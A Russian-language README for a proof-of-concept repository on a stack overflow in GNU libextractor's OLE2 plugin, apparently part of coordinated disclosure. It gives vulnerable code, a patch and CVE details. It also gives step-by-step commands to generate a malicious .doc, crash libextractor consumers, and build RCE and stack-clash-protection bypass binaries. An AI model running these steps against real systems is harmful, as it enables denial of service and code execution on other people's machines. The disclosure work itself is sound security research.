
PoC для критического переполнения буфера в стеке в GNU libextractor ≤ 1.14. Вредоносный файл .doc вызывает неограниченное выделение VLA, что приводит к безусловному DoS. В многопоточных средах это обходит защиты stack-clash для полного RCE.
Переполнение буфера в стеке в плагине OLE2 GNU libextractor позволяет осуществить удалённый отказ в обслуживании (падение) и выполнение кода при обработке специально созданного файла .doc. Уязвимость находится в process_star_office() (ole2_extractor.c:349), которая выделяет массив переменной длины размером до 4 МБ в стеке на основе контролируемых злоумышленником данных файла.
Основное воздействие: Удалённый отказ в обслуживании — приводит к падению любого приложения, обрабатывающего вредоносный файл
Вторичное воздействие: Удалённое выполнение кода через обход -fstack-clash-protection с использованием соседнего стека потока
| Поле | Значение |
|---|---|
| CVE | CVE-2026-91752 |
| Продукт | GNU libextractor |
| Уязвимые версии | < 1.15 (все версии до 1.14 включительно) |
| Исправленная версия | 1.15 |
| CVSS 4.0 | 8.7 HIGH (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N) |
| CVSS 3.1 | 7.5 HIGH (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| Критичность | HIGH (DoS) / CRITICAL (RCE в многопоточном внутрипроцессном режиме) |
| CWE | CWE-789 (Выделение памяти с чрезмерным размером) / CWE-121 (Переполнение буфера в стеке) |
| Вектор атаки | Сеть (любой путь обработки файлов) |
| Требуемые привилегии | Нет |
| Взаимодействие с пользователем | Нет |
| CNA | VulnCheck |
| Исследователь | Haitam Lazaar |
Примечание: Современные GCC (≥8) включают
-fstack-clash-protectionпо умолчанию, что в однопоточных приложениях превращает эксплуатируемое переполнение в безопасное падение. Однако эта защита может быть обойдена в многопоточных приложениях, где стеки потоков расположены смежно в памяти — проверки VLA успешно проходят в стек соседнего потока, что позволяет добиться полного выполнения кода даже на защищённых сборках. Подробности см. в docs/BYPASS.md.
.doc# Generate malicious .doc
python3 poc/gen_payload.py exploit.doc
# Any application that processes this file with libextractor crashes:
extract exploit.doc # CLI tool → OLE2 plugin worker crashes
gnunet-publish exploit.doc # GNUnet → gnunet-helper-fs-publish crashes

Анимация выше демонстрирует автоматизированную лабораторную среду, предоставленную в каталоге lab-setup/. Просто запустив docker compose up, контейнер злоумышленника автоматически генерирует вредоносную полезную нагрузку .doc и загружает её в уязвимый веб-сервис индексации документов. Логика парсинга libextractor вызывает переполнение стека через VLA, позволяя злоумышленнику незаметно добиться выполнения произвольного кода. Мы проверяем эксплойт, выполнив cat /tmp/pwned на целевом контейнере, чтобы увидеть вывод команды.
├── poc/ # Proof of concept
│ ├── gen_payload.py # Generates malicious .doc trigger file
│ ├── poc_rce.c # Demonstrates code execution (protection disabled)
│ └── bypass_rce.c # Stack-clash-protection bypass (multi-threaded)
├── exploit/ # Exploitation details
│ ├── remote_exploit.sh # Example: triggering via HTTP upload (lab scenario)
│ └── extract_server.c # Example: vulnerable application using libextractor
├── patches/ # Recommended fix
│ └── 0001-fix-ole2-vla.patch
├── lab-setup/ # Reproducible test environment
│ ├── Dockerfile # Builds vulnerable libextractor from source
│ ├── docker-compose.yml # Full lab (includes HTTP upload as one test vector)
│ └── upload_server.py # Document indexing service simulation
└── docs/
├── BYPASS.md # Stack-clash-protection bypass technique
└── PAYLOAD_STRUCTURE.md # Malicious .doc file format documentation
# Build libextractor from source
./configure && make && sudo make install
# Generate trigger file
python3 poc/gen_payload.py exploit.doc
# Crash any libextractor consumer
extract exploit.doc # crashes the OLE2 plugin worker
gcc -O2 -fno-stack-clash-protection -o poc_rce poc/poc_rce.c -lextractor
ulimit -s 2048
./poc_rce exploit.doc # executes attacker payload (exit code 42)
gcc -O2 -fstack-clash-protection -o bypass_rce poc/bypass_rce.c -lextractor -lpthread
./bypass_rce exploit.doc # bypasses protection, executes payload (exit code 42)
docker-compose -f lab-setup/docker-compose.yml up -d
// src/plugins/ole2_extractor.c:349
off_t size = gsf_input_size(src); // Attacker controls via OLE2 stream
if (size > 4 * 1024 * 1024) return 0; // Max 4MB allowed — but stack is 1-8MB
char buf[size]; // VLA: up to 4MB ON THE STACK
gsf_input_read(src, size, buf); // Write attacker data
Без -fstack-clash-protection компилятор генерирует:
sub %rax, %rsp ; Single instruction, jumps RSP past guard page
С -fstack-clash-protection проверки всё ещё могут быть обойдены в многопоточных контекстах (см. docs/BYPASS.md).
- if ( (size < 0x374) ||
- (size > 4 * 1024 * 1024) )
+ char buf[0x374];
+
+ if (size < 0x374)
return 0;
- {
- char buf[size];
- gsf_input_read (src, size, (unsigned char*) buf);
+ gsf_input_read (src, sizeof(buf), (unsigned char*) buf);
Обнаружено мной (Haitam Lazaar) в ходе моих независимых исследований в области безопасности.
Особая благодарность Christian Grothoff, сопровождающему GNU libextractor, за невероятно быструю обработку, профессиональное общение и оперативное развёртывание патчей (v1.15, v1.16 и v1.17) для устранения этой и нескольких других проблем безопасности памяти, о которых было сообщено в ходе этого аудита.
Моё исследование предоставлено в образовательных и защитных целях. Используйте ответственно.